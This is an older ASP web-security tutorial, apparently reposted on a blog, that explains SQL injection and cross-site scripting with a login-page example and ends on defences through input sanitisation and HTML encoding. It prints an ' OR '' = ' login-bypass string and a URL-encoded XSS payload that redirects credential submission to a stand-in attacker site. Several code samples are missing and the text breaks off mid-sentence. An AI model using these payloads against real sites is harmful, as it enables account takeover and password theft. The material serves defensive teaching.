By Craig Atkins
Introduction
ASP is a great Web development technology that allows for rapid development of data-driven Web sites. However, problems can arise, however, when developers "go live" with code that contains potential security holes due to rushing out poor code, or not knowing the exploits that exist. In this article we will examine two common security holes that can be exploited by knowledgeable hackers: SQL Injection and Cross Site Scripting.
It is surprising (and alarming) how many production Web applications/Web sites contain some major security holes based around these exploits. Furthermore, the amount of source code published on "educational" ASP sites (such as 4Guys, even) that suffers from these two common security pitfalls is shocking.
What is SQL Injection?
For data-driven Web sites, commonly the database queries issued are based, in part, on user input. For example, if your site has user accounts, requiring users to log in with the username and password, on the login page you likely have the user input their credentials, which you then use in a SQL statement to see if the user's supplied username and password match up. SQL Injection is a method of exploiting a Web application that takes a clients input data (such as a user's entered username and password) and uses it to form part of an SQL statement that is passed directly to a database.
An SQL Injection attack can be used for numerous nasty purposes depending on the hacker's skills and patience, such as logging into a website, stealing credit card details, deleting entire databases, or in some cases (where SQL server is used, and certain installation conditions are met) gaining access to the Web server's file system. Any SQL statement that uses unsanitized user input data is potentially vulnerable to an SQL Injection attack.
For example, imagine that we have a login page as previously described that accepts the user's username and password as input, and then checks the database to see if the credentials are correct. The VBScript code for this may look as follows (the below script shows the code that authenticates the user - it assumes that it is being called from a form where the TextBox for the user's username was give the name
name
Password
'Create our ADO objects |
If the user enters in the login page a username/password pair of "Craig" and "foobar", then the SQL query:
SELECT * FROM tblUSERS WHERE UserName = 'Craig' AND Password = 'foobar'
will be executed. If there is such a user, then the Recordset rs
will contain a row with information from the correct user from the tblUSERS
database table (assuming there aren't multiple users with the same username/password). Great! That seems to work fine, and is nice and simple. But, imagine for a moment, what would happen if the user enters his username or password as:
' OR '' = '
When a user provides such a username the following SQL query will be issued:
SELECT * FROM tblUSERS WHERE UserName = '' OR '' = '' AND Password = 'password entered'
This SQL statement will return all matching records from tblUSERS
. Why? Because the query has now been altered to disregard the users input, and compare nothing (''
) to nothing, which will always equal true. (Other variations on this might be using 1=1
or 1 != 0
or other "always true" boolean expressions.) Our friendly hacker has just gained access to the "secure" area of our Web application... not good is it?
How do we Protect Against SQL Injection?
The best way to protect against SQL Injection is to sanitize the user's input data before placing it within a SQL query. Sanitizing data is the act of stripping out any characters that we don't need from the data we are supplied. Returning to our username/password example, the username field, say, should only contain alphanumeric characters (and maybe spaces, underscores, etc. depending on your configuration). Importantly, username values (and password values, for that matter) should not contain apostrophes. Sanitizing user input, then, ensures that these user inputs contain only the valid characters. By requiring that the username and password being passed to the database does not contain any invalid characters, we can protect ourselves against a SQL Injection attack.
The easiest way to sanitize your data is to simply replace all apostrophes with two consecutive apostrophes. In fact, in the 4Guys article Protecting Yourself from SQL Injection Attacks by Ross Overstreet, Ross shows how to use the VBScript Replace
function to perform this task. Personally, I prefer to use regular expressions to strip any characters outside of the predefined "legal" characters. (As discussed in the last paragraph, such legal characters for a username may be alphanumeric characters and underscores.)
What are Regular Expressions? |
---|
Regular expressions are a powerful set of tools designed for string parsing and pattern matching. To learn more about regular expressions, start with Scott Mitchell's An Introduction To Regular Expressions. |
Therefore, in order to protect our earlier ASP page example from a SQL Injection attack we will need to add the following code to clean our username so it only contains alphanumeric characters.
'Create a regular expression object |
With the above code in place, if the user entered his username as user'';';#'.#'.'name
, the regular expression would strip the extraneous characters and set the variable username
to the value "username"
. We should use this method of sanitizing data on all of the code that comes from a users browser (such as the password entered by the user). In fact, data sanitization should be applied to data from form fields, hidden fields, disabled fields and cookies as well. Never assume that client side validation is working correctly, as hackers can circumvent this, and never assume that cookies cannot be edited, as they can, so their data should always be treated as unclean.
Now that we've examined the SQL Injection attack, let's turn our attention to the Cross Site Scripting attack, which, while different, is related to the SQL Injection attack in that its vulnerability stems from unsanitized data. We'll examine the Cross Site Scripting security hole in Part 2.
In Part 1 we examined the SQL Injection attack, a commonly found security hole resulting from unsanitized user input that is used in forming a SQL query. In this final part we'll examine the Cross Site Scripting vulnerability, which can occur when unsanitized data is sent to the client's Web browser.
What is Cross Site Scripting?
Cross Site Scripting is a vulnerability that occurs when a Web site displays user input in the browser that has not been properly sanitized. Cross Site Scripting can be used to steal cookies, compromise data integrity, and trick users into submitting information to a hacker.
Turn your attention back to our login page example we examined earlier in this article. Imagine that this login system was comprised of two pages: Login.asp
, which created a form for the user to enter their username and password, and the page CheckCredentials.asp
, which checked to see if the user's supplied username/password were valid. Now, imagine that in the case that the credentials were invalid, CheckCredentials.asp
uses a Response.Redirect
to send the user back to Login.asp
, passing along in the querystring an errorMessage
string, like so:
CheckCredentials.asp |
Then, in Login.asp
, the errorMessage
querystring value would be displayed as follows:
Login.asp |
Using this (unsafe) technique, if the user attempts to login with invalid credentials, they are returned to Login.asp
and are displayed a short message explaining that their credentials were invalid. A clever hacker, though, could realize that he could alter the actual HTML of the page by providing a errorMessage
value that contains HTML markup. For example, imagine that you visited Login.asp
using the following URL:
http://www.somesite.com/Login.asp?errorMessage=
As we saw in the code for Login.asp
, the errorMessage
querystring value will be emitted, producing an HTML page with the following markup:
Login.asp Username: <input name="UserName" type="text"> Password: <input name="Password" type="password"> <input name="submit" value="log in!" type="submit"> |
The hacker has cleverly inserted some HTML into this page so that if an honest user were to visit the page with the supplied errorMessage
querystring value, their supplied username and password would be submitted to the page http://www.hax0r.com/stealPassword.asp
.
The hacker could now send a link to his contrived page via an email message, or a link from some message board site or what not, hoping that a user of the site will click on the link and attempt to login. Of course, by attempting to login, the user will be submitting his data to the hacker's site. (The proper encoding of the errorMessage
querystring value in the URL would be: http://www.ourdomain.com/login.asp?errormsg=%3C%2Fform%3E%3Cform+method%3D%22POST%22+action%3D%22http://www%2Ehax0r%2Ecom%2FstealPassword%2Easp%22%3E
.) The hacker "wins" if he can find someone who is tricked by this, clicks on his link, visits our Web site, and attempts to login, thereby sending their username/password to the hacker's Web site.
How do we Protect Against Cross Site Scripting?
Protecting against a Cross Site Scripting attack is relatively simple: simply use the Server.HtmlEncode
method. Server.HtmlEncode
takes a string and replace any characters that the browser will try to interpret with HTML encoding, so that the browser will print the characters to the screen. For example, if we call the Server.HtmlEncode
method passing in:
No comments:
Post a Comment